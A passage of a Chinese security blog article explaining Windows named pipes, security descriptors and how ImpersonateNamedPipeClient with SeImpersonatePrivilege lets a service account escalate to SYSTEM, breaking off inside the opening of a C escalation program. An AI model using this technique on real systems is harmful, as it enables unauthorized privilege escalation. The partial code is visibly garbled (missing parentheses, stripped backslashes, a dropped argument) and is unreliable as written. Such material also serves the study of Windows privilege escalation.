天天看點

一個命名管道可以被多個用戶端通路嗎_利用命名管道進行權限提升

聲明

由于傳播、利用此文所提供的資訊而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神衆測以及文章作者不為此承擔任何責任。

雷神衆測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部内容。未經雷神衆測允許,不得任意修改或者增減此文章内容,不得以任何方式将其用于商業目的。

No.1

前言

命名管道是Windows 比較經典的一個概念并且Linux也有,但是兩者用途并非相同。那麼什麼是命名管道呢?

Win32 SDK定義管道為兩種:

匿名管道(Anonymous pipes ):匿名管道通常在父程序和子程序之間傳輸資料。它們通常用于重定向子程序與其父程序之間的标準輸入和輸出,且不支援通過網絡進行通信。

一個命名管道可以被多個用戶端通路嗎_利用命名管道進行權限提升

命名管道(Named pipes):命名管道可以在不相關的程序之間傳輸資料,前提是管道的權限授予對用戶端程序的适當通路權限。

一個命名管道可以被多個用戶端通路嗎_利用命名管道進行權限提升

着重講命名管道:它可以在同一台機器或不同機器間的不同程序間提供通信,擁有一個Pipe Server和一個或者多個Pipe Client,在它們之間進行單向或者雙向通信的管道。

我們的目的是為了通過命名管道來進行權限的提升,這裡還需要涉及到安全描述符(Security Descriptor)的概念。

一個命名管道可以被多個用戶端通路嗎_利用命名管道進行權限提升

在Windows系統中,對某程序或者線程的權限資訊是使用安全描述符來定義的。它是一個結構體,由 安全辨別符(Security Identifies)、DACL、SACL以及其自身控制位組成,其中DACL和SACL組成通路控制清單(ACL,Access Control List)。

主要來看DACL,DACL是安全描述符中最重要的,它裡面包含零個或多個通路控制項(ACE,Access Control Entry),每個通路控制項的内容描述了允許或拒絕特定賬戶對這個對象執行特定操作。在Win32實體程式中設定了一個 DACL,那麼意味着任何人都有權限對其進行通路控制。

設定安全描述符的API函數為 SetSecurityDescriptorDacl

關于更多通路控制模型内容,請參考:Security Descriptors

No.2 命名管道的利用

利用命名管道提權的重要原因:命名管道允許服務端程序模拟已連接配接的用戶端程序,API名稱為ImpersonateNamedPipeClient

如果使用非管理者權限去啟動命名管道的服務端程序進行監聽,而以管理者的用戶端進行連接配接,不一定能夠成功,想要進行提權,啟動服務端的使用者還需要某些特權,如:SeImpersonatePrivilege、等等

使用 whoami /priv 檢視權限

而該權限一般是系統使用在本地服務賬号或者網絡服務賬号的,是以當我們因為某服務賬号啟動服務的漏洞而獲得權限之後,就有了 Local Service或者Network Service權限,看似權限很低,但可以利用他進行權限提升至System權限

從管理者提升至SYSTEM權限

首先,先抛出代碼段

#include "stdafx.h"              #define SERVICE_NAME "Elevate"              #define PIPE_PATH ".pipeelevate"              int main              {              char directory[_MAX_PATH];              char servicePath[_MAX_PATH];              char serviceName[128];              char recv[1024];              DWORD bytes;              bool connected;              HINSTANCE hinst;              STARTUPINFOA si;              PROCESS_INFORMATION pi;              HANDLE token;              HANDLE newtoken;              HANDLE ptoken;              HANDLE namedPipe = CreateNamedPipeA(PIPE_PATH,               PIPE_ACCESS_DUPLEX,               PIPE_TYPE_MESSAGE | PIPE_WAIT,               PIPE_UNLIMITED_INSTANCES,               1024,               1024,               0,               );              if (namedPipe == INVALID_HANDLE_VALUE) {              printf("[!] Could not create named pipe");              return 0;              }              else {              printf("[*] Named pipe created: %s